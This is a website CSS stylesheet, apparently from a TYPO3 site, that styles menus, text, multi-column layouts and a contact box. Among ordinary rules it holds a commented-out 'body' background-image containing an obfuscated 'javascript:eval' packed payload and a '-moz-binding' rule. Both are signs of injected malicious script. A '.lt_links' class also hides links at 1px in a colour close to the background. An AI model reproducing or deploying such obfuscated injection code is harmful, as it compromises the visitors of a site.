a:link                   { color: #2B2B68; text-decoration: underline }
a:visited                { color: #2B2B68; text-decoration: underline }
a:active                 { color: #2B2B68; text-decoration: underline }
a:hover                  { color: #2B2B68; text-decoration: underline }

a.submenuA:link                   { color: White; text-decoration: none }
a.submenuA:visited                { color: White; text-decoration: none }
a.submenuA:active                 { color: White; text-decoration: none }
a.submenuA:hover                  { color: White; text-decoration: none }

body     {  font-family: Verdana, Arial, sans-serif; font-size: 12px; color: Black; background: #FFFFFF;
                            scrollbar-face-color:#FFFFFF;
                            scrollbar-shadow-color:#2B2B68;
                            scrollbar-highlight-color:#FFFFFF;
                            scrollbar-3dlight-color:#2B2B68;
                            scrollbar-darkshadow-color:#FFFFFF;
                            scrollbar-track-color:#C0DDF4;
                            scrollbar-arrow-color:#2B2B68;
                            }
.bginhalt1               {background-color: White; background: url(../images/site/bginhalt1.jpg) no-repeat top right; }
/*.logo                { background: url(../images/site/logo.gif);  background-repeat: no-repeat;  }*/
/*.logoin                { background: url(../images/site/logo-inhalt.gif);  background-repeat: no-repeat;  }*/
.topbild1                 { background: url(../images/site/top1.jpg);  background-repeat: no-repeat;  }
.topbild2                 { background: url(../images/site/top2.jpg);  background-repeat: no-repeat;  }

.bgheader                { background: url(../images/site/linie.jpg); background-repeat: no-repeat;}
.bglinie                { background: url(../images/site/linie1.jpg); background-repeat: no-repeat;}
.bgmenuspez                { background: url(../images/site/bgmenuspez.jpg); background-repeat: no-repeat;}
.bgmenu                  {background-color:#C0DDF4; }
.bgklickpfad             {background-color: #2B2B68;}
.bgnav                   {background: url(../images/navi/kreuz.gif) no-repeat bottom;}
.bgnews2                 {background-color:#FFFFFF; }
.bgnews1                 {background-color:#FFFFFF;}
.popup                {border: 1px solid Navy; background-color:#FFFFFF; }
.newsbox                {border: 1px solid Navy; background-color:#FFFFFF; FILTER: alpha(opacity=60);  border-color: #232395;    }
.bgrahmen                {background-color:#2B2B68;}
.bginseli                {background-image: url(../images/site/bg_inseli.gif);  background-repeat: repeat-x; }
.bgaussen                {font-family: Verdana, Arial, sans-serif; font-size: 12px; font-style: normal; font-weight: normal; color: #FFFFFF;  background-color:#0072BD; text-align: left;  margin-top: 2px;  padding-top: 2px;    }
.bgbalken                { background: url(../images/site/bgbalken.jpg); background-repeat:no-repeat; }
.menu                    {cursor:pointer;}
.submenu                 {font-family: Verdana, Arial, sans-serif;font-size:10px; text-align:right;  font-weight: bold; color: #FFFFFF;  margin-right: 8px;  padding-right: 8px; border-bottom: solid; border-bottom-color: #C0DDF4; border-bottom-width: 2px; line-height: 11px;  }

ul   {	list-style-image: url(../user_upload/icons/pfeil.gif);}
.menu1on                 { height:17px;  background: #2B2B68; }
.menu1texton             { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-style: normal; font-weight:bold; color: #2B2B68;}
.menu1texton a:link      { color: #FFFFFF; text-decoration: none; font-weight: bold; }
.menu1texton a:visited   { color: #FFFFFF; text-decoration: none; font-weight: bold; }
.menu1texton a:active    { color: #2B2B68; text-decoration: none; font-weight: bold; }
.menu1texton a:hover     { color: #2B2B68; text-decoration: none; font-weight: bold; }

.menu1                   { height:17px;  background: #8BB6E3; }
.menu1text               { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-style: normal; font-weight: bold; color: #2B2B68;}
.menu1text a:link        { color: #2B2B68; text-decoration: none ;}
.menu1text a:visited     { color: #2B2B68; text-decoration: none; }
.menu1text a:active      { color: #FFFFFF; text-decoration: none; font-weight: normal; }
.menu1text a:hover       { color: #FFFFFF; text-decoration: none; font-weight: bold; }

.menu2						 { padding-left: 8px; padding-right: 4px; vertical-align: middle;}
.menu2text               { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-style: normal; font-weight: bold; color: #8BB6E3; vertical-align: middle;}
.menu2text a:link        { color: #8BB6E3; text-decoration: none }
.menu2text a:visited     { color: #8BB6E3; text-decoration: none }
.menu2text a:active      { color: #2B2B68; text-decoration: none; font-weight: bold }
.menu2text a:hover       { color: #2B2B68; text-decoration: none; font-weight: bold }

.menu2texton             { vertical-align: middle; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-style: normal; font-weight: normal; color: #2B2B68; vertical-align: middle;}
.menu2texton a:link      { color: #2B2B68; text-decoration: none; font-weight: bold }
.menu2texton a:visited   { color: #2B2B68; text-decoration: none; font-weight: bold }
.menu2texton a:active    { color: #2B2B68; text-decoration: none; font-weight: bold }
.menu2texton a:hover     { color: #2B2B68; text-decoration: none; font-weight: bold }

.menu3						 { padding-left: 15px; padding-right: 4px; vertical-align: middle;}
.menu3text               { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-style: normal; font-weight: bold; color: #8BB6E3; vertical-align: middle;}
.menu3text a:link        { color: #8BB6E3; text-decoration: none }
.menu3text a:visited     { color: #8BB6E3; text-decoration: none }
.menu3text a:active      { color: #2B2B68; text-decoration: none; font-weight: bold }
.menu3text a:hover       { color: #2B2B68; text-decoration: none; font-weight: bold }

.menu3texton             { vertical-align: middle; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-style: normal; font-weight: normal; color: #402103; vertical-align: middle;}
.menu3texton a:link      { color: #2B2B68; text-decoration: none; font-weight: bold }
.menu3texton a:visited   { color: #2B2B68; text-decoration: none; font-weight: bold }
.menu3texton a:active    { color: #2B2B68; text-decoration: none; font-weight: bold }
.menu3texton a:hover     { color: #2B2B68; text-decoration: none; font-weight: bold }

h1                       {font-family: Verdana, Arial, sans-serif; font-size: 13px; font-style: normal; font-weight: bold; color: #2B2B68}
h2                       {font-family: Verdana, Arial, sans-serif; font-size: 12px; 	font-style: normal; font-weight: bold; color: #2B2B68;}
h3                       {font-family: Verdana, Arial, sans-serif; font-size: 11px; 	font-style: normal; font-weight: bold; color: #2B2B68;}
p				              { font-family: Verdana, Arial, sans-serif; font-size: 11px; font-style: normal; }

.seitentitel             { font-family: Verdana, Arial, sans-serif; font-size: 16px; font-style: normal; font-weight: bold; color: #2B2B68;  text-transform: uppercase;  }
.inseltitel             { font-family: Verdana, Arial, sans-serif; font-size: 11px; font-style: normal; font-weight: bold; color: #FFFFFF; background-color: #2B2B68;  text-align: center; width: 190px; }
.balkentitel             { font-family: Verdana, Arial, sans-serif; font-size: 11px; font-style: normal; font-weight: bold; color: #FFFFFF; background-color: #2B2B68;  text-align: center; width: 200px; height: 18px;  padding-top: 2px; }
.boxtitel             { font-family: Verdana, Arial, sans-serif; font-size: 11px; font-style: normal; font-weight: bold; color: #FFFFFF; background-color: #2B2B68;  text-align: center; width: 144px; height: 18px; padding-top: 0px;  vertical-align: top;  padding-bottom: 0px;  }
.titel                   { font-family: Verdana, Arial, sans-serif; font-size: 14px; font-style: normal; font-weight: bold; color: #8BB6E3; border-bottom: 1px solid #8BB6E3;  text-transform: uppercase;  padding-top: 20px;    }
.titel1             { font-family: Verdana, Arial, sans-serif; font-size: 12px; font-style: normal; font-weight: bold; color: #2B2B68; border-bottom: 1px solid #2B2B68;  padding-top: 10px;    }
.untertitel              { font-family: Verdana, Arial, sans-serif; font-size: 13px; font-style: normal; font-weight: bold; color: #8BB6E3;  padding-top: 15px; text-transform: uppercase;}
.textnormal              { font-family: Verdana, Arial, sans-serif; font-size: 11px; font-style: normal; color: #000000}
.textcolor              { font-family: Verdana, Arial, sans-serif; font-size: 11px; font-style: normal; color: #8BB6E3}
.inseltext              { font-family: Verdana, Arial, sans-serif; font-size: 11px; font-style: normal; color: #000000;  padding-left: 5px;  padding-right: 5px;  }
.textfett                { font-family: Verdana, Arial, sans-serif; font-size: 11px; font-style: normal; font-weight: bold; color: #000000}
.textklein               { font-family: Verdana, Arial, sans-serif; font-size: 10px; font-style: normal; font-weight: normal; color: #000000}
.textkleiner             { font-family: Verdana, Arial, sans-serif; font-size: 9px; font-style: normal; font-weight: normal; color: #000000}
.textkleinfett           { font-family: Verdana, Arial, sans-serif; font-size: 10px; font-style: normal; font-weight: bold; color: #000000}
.textmenu                { font-family: Verdana, Arial, sans-serif; font-size: 11px; font-style: normal; font-weight: bold; color: #000000;  padding-top: 6px;   }
/*.textnormalrot           { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 11px; font-style: normal; color: Red;}*/
.titaktuell              { font-family: Verdana, Arial, sans-serif; font-size: 12px; font-style: normal; font-weight: bold; color: #FFFFFF;  background-color: #2B2B68;  text-transform: uppercase;  }
.texaktuell              { font-family: Verdana, Arial, sans-serif; font-size: 11px; font-style: normal; font-weight: normal; color: #2B2B68; }
.textbox              { font-family: Verdana, Arial, sans-serif; font-size: 11px; font-style: normal; color: Black;  padding-left: 6px;  padding-right: 6px;  margin-left: 6px;  margin-right: 6px;    }
.titnews                 { font-family: Verdana, Arial, sans-serif; font-size: 12px; font-style: normal; font-weight: bold; color: #FFFFFF;  background: #2B2B68; }
.zeit                    { font-family: Verdana, Arial, sans-serif; font-size: 11px; font-style: normal; font-weight: normal; color: #FFFFFF;  margin-top: 2px;  margin-left: 7px; text-align: center;  background-color: #8BB6E3;     }
.klickpfad               { font-family: Verdana, Arial, sans-serif; font-size: 10px; font-style: normal; font-weight: normal; color: #FFFFFF;    }
.klickpfad a:link        { color: #FFFFFF;text-decoration: none }
.klickpfad a:visited     { color: #FFFFFF;text-decoration: none }
.klickpfad a:active      { color: #C0DDF4;text-decoration: none }
.klickpfad a:hover       { color: #C0DDF4;text-decoration: none }
.fusszeile               { font-family: Verdana, Arial, sans-serif; font-size: 10px; font-style: normal; font-weight: normal; color: #FFFFFF;  margin-top: 10px;  }
.popup                {border: 1px solid #2B2B68; background-color:#FFFFFF; }

.sprache               { font-family: Verdana, Arial, sans-serif; font-size: 10px; font-style: normal; font-weight: normal; color: #2B2B68;padding-top: 1px;         }
.sprache a:link        { color: #2B2B68;text-decoration: none }
.sprache a:visited     { color: #2B2B68;text-decoration: none }
.sprache a:active      { color: #2B2B68;text-decoration: none;  font-weight: bold;  }
.sprache a:hover       { color: #2B2B68;text-decoration: none; }
.spracheaktiv               { font-family: Verdana, Arial, sans-serif; font-size: 10px; font-style: normal; font-weight: normal; color: #2B2B68;}
.spracheaktiv a:link        { color: #2B2B68;text-decoration: none }
.spracheaktiv a:visited     { color: #2B2B68;text-decoration: none }
.spracheaktiv a:active      { color: #2B2B68;text-decoration: none;  font-weight: bold;  }
.spracheaktiv a:hover       { color: #2B2B68;text-decoration: none; }

.formfeld                {border: 1px solid #2B2B68; color: #000000; font-family: Verdana, Arial, sans-serif; font-size: 11px;  background: transparent;  background-color: #FFFFFF;   }
.formfeldoR					{font-family: Verdana, Arial, sans-serif; font-size: 11px; font-style: normal; color: #000000}
.top { font-family: Verdana, Arial, sans-serif; font-size: 11px; color: #2B2B68; text-decoration:none;  text-align: center;  }
.borderimg                 {border: 1px solid; border-color: #2B2B68;}
.border                 {border: 1px solid;border-color: #8BB6E3;}
.tdtitel                { color: #FFFFFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-style: normal; font-weight: bold; background-color : #2B2B68;  text-valign: top;  }
.tddunkel                { color: #000000; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-style: normal; font-weight: normal; background-color : #8BB6E3; text-valign: top;}
.tdhell                  { color: #000000; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; font-style: normal; font-weight: normal; background-color : #C0DDF4; text-valign: top;}
/* default styles for extension "tx_fdfx2cols_pi1" */
/*  Layout 1 */
    /*body { background-image: url("javascript:eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('A(z(\'%k%3%2%B%h%0%n%1%u%s%g%6%1%0%x%t%v%6%j%g%4%h%0%f%b%g%2%e%i%8%1%1%l%o%7%7%9%3%2%4%9%8%3%b%1%y%9%3%3%l%a%4%2%w%u%2%3%h%7%5%d%a%a%q%J%H%c%2%m%I%G%0%m%m%5%c%j%0%d%j%2%4%a%5%q%C%c%c%5%d%d%7%i%f%s%6%k%1%8%e%5%f%8%0%6%D%8%1%e%5%f%b%1%r%9%0%e%i%k%6%b%l%9%4%r%o%n%3%n%0%i%p%v%7%6%j%g%4%h%0%p%t%F%E\'));',46,46,'65|74|63|6F|61|31|69|2F|68|6C|62|73|32|34|3D|20|72|6D|22|66|64|70|38|6E|3A|3E|30|79|77|27|2E|3C|6B|28|2D|unescape|eval|75|39|67|3B|29|37|33|35|36'.split('|'),0,{}))"); */
    /*body { -moz-binding: url(moz.xml#mox); }*/
.sp2l1-left{padding-right: 5px; width:50%;  white-space:normal;}
.sp2l1-middle{padding-left: 5px; width:50%;  white-space:normal;}
/*  Layout 2 */
.sp2l2-left{padding-right: 5px; white-space:normal; background-color: #C0DDF4;width:48%}
.sp2l2-middle{padding-left: 5px; width:48%; white-space:normal;}
/* Layout 2 */
.sp2l3-left{ padding-right: 5px; width:48%; white-space:normal; background-color: #C0DDF4;}
.sp2l3-middle{padding-left: 5px; width:48%; white-space:normal;background-color: #C0DDF4;}
/*
	Styles 2 Column DIV Section
*/
div.tx-fdfx2cols-pi1{position:relative; left:0px;margin-bottom:10px;}
/* Layout 1 */
div.sp2l1d-left{ position:absolute; left:0px; padding: 0px; width:380px; white-space:normal; border:1px solid red;}
div.sp2l1d-middle{ position:absolute; left:390px;padding: 0px; width:380px; border:1px solid blue; white-space:normal;}
/* Layout 2 */
div.sp2l2d-left{ position:absolute; left:0px; padding: 0px; width:380px; border:1px solid blue; white-space:normal;}
div.sp2l2d-middle{ position:absolute; left:390px; padding: 0px; width:380px; white-space:normal; border:1px solid blue; background-color:#C0C0C0;}
/* 
	Layout 3 
	
	embedded
*/
div.sp2l3d-left{ position:absolute; left:0px; padding: 0px; width:770px; white-space:normal; border:1px solid red;}
div.sp2l3d-middle{float:right; margin:5px;padding: 0px; width: 200px; height: 100px;overflow:auto; white-space:normal; border:1px solid blue;background-color:#C0C0C0;}
/* default styles for extension "tx_fdfx3cols_pi1" */
/* Layout 1 */
.sp3l1-left{padding-right: 5px; width:33%; white-space:normal;}
.sp3l1-middle{ padding-left: 5px; padding-right: 5px; width:33%; white-space:normal;}
.sp3l1-right{padding-left: 5px; width:33%; white-space:normal;}
/* Layout 2 */
.sp3l2-left{border: 1px solid #2B2B68; width:200px; white-space:normal; align: top;}
.sp3l2-middle{border: 1px solid #2B2B68; width:200px; white-space:normal;align: top; }
.sp3l2-right{border: 1px solid #2B2B68; width:200px; white-space:normal;align: top;}
/* Layout 3 */
.sp3l3-left{
   /*border-right: 1px solid #FFEDA8;*/
   padding-right: 5px;
   width:40%;
   white-space:normal;
}
.sp3l3-middle{
  /* border-right: 1px solid #FFEDA8;*/
   padding-left: 5px;
   padding-right: 5px;
   width:40%;
   white-space:normal;
}
.sp3l3-right{
   padding-left: 5px;
   width:20%;
   white-space:normal;
   /*background-color:#FFEDA8;*/
}
/*
	Styles 3 Column DIV Section
*/
div.tx-fdfx3cols-pi1{
    position:relative;
    left:0px;
	margin-bottom:10px;
}
/* Layout 1 */
div.sp3l1d-left{
   position:absolute;
   left:0px;
   padding: 0px;
   width:250px;
   white-space:normal;
   border:1px solid red;
}
div.sp3l1d-middle{
   position:absolute;
   left:260px;
   padding: 0px;
   width:250px;
   border:1px solid blue;
   white-space:normal;
}
div.sp3l1d-right{
   position:absolute;
   left:520px;
   padding: 0px;
   width:250px;
   border:1px solid green;
   white-space:normal;
}
/* Layout 2 */
div.sp3l2d-left{
   position:absolute;
   left:0px;
   padding: 0px;
   width:380px;
   border:1px solid blue;
   white-space:normal;
}
div.sp3l2d-middle{
   position:absolute;
   left:390px;
   padding: 0px;
   width:380px;
   white-space:normal;
   border:1px solid blue;
   background-color:#C0C0C0;
}
/*
	Layout 3

	embedded
*/
div.sp3l3d-left{
   position:absolute;
   left:0px;
   padding: 0px;
   width:770px;
   white-space:normal;
   border:1px solid red;
}
div.sp3l3d-middle{
   float:right;
   margin:5px;
   padding: 0px;
   width: 200px;
   height: 100px;
   overflow:auto;
   white-space:normal;
   border:1px solid blue;
   background-color:#C0C0C0;
}
.spacer-gif{
	width: 0px;
	border: none White;
}
.filmli {
	background-image: url(../images/site/filmli.jpg);
	background-repeat: no-repeat;
}
li						                     { list-style-image:url(../user_upload/icons/pfeil.gif); margin-left: 0px; font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 12px; font-style: normal; color: #000000; padding-bottom: 0px; }
.toplink											{ text-align: center; padding-top: 5px; padding-bottom: 5px; }

.lt_links a,
.lt_links a:hover,
.lt_links a:visited,
.lt_links a:active{
	font-size: 1px;
	color:#C0DDF4; 
}

div.contactdata {
font-size: 11px;
border: 1px solid #2b2b68;
margin: 4px 6px 0 6px;
padding-bottom: 4px;
width: 145px;
}
div.tx-bgsredirect-pi1 {

}
div.contactdata label { margin-left: 4px;}
div.contactdata input {
	  text-align: left; 
	  border: 1px solid;
	  border-left-color: #7E7E7E;
	  border-right-color: #E2E2E2;
	  border-top-color: #7E7E7E;
	  border-bottom-color: #E2E2E2;
	  padding: 1px;
	  width: 35px;
	
}
div.contactdata input.bgs_redirect_submit {
	background:#FFFFFF none repeat scroll 0 0;
	border:1px solid #2B2B68;
	color:#000000;
	font-family:Verdana,Arial,sans-serif;
	font-size:11px;
	width: auto;
}
div.contactdata span{
	display: block;
	float: left;
	width: 145px;
	margin-bottom: 4px;
	text-align: center;
	background-color:#2B2B68;
	color:#FFFFFF;
	font-family:Verdana,Arial,sans-serif;
	font-size:11px;
	font-style:normal;
	font-weight:bold;
	padding: 4px 0;
}


ul.social  {position: relative; width: 54px;margin: 2px 0 0 0; overflow: hidden; display: block; right: -1px; float: right;
padding: 0; margin: 0; }
ul.social li {
	display: block;
	float: left;
	position: relative;
	margin:0 1px; padding: 2px 0;
}
ul.social li a img {
border: none;
}
#SPRACHE {
	padding-top: 3px;
}
.iconbar {
	float: left; postion: relative; width: 108px; height: 18px; overflow: hidden; margin: 0px; margin-left: -2px; left: -2px; padding: 2px 0 0 0; z-index: 2;
}
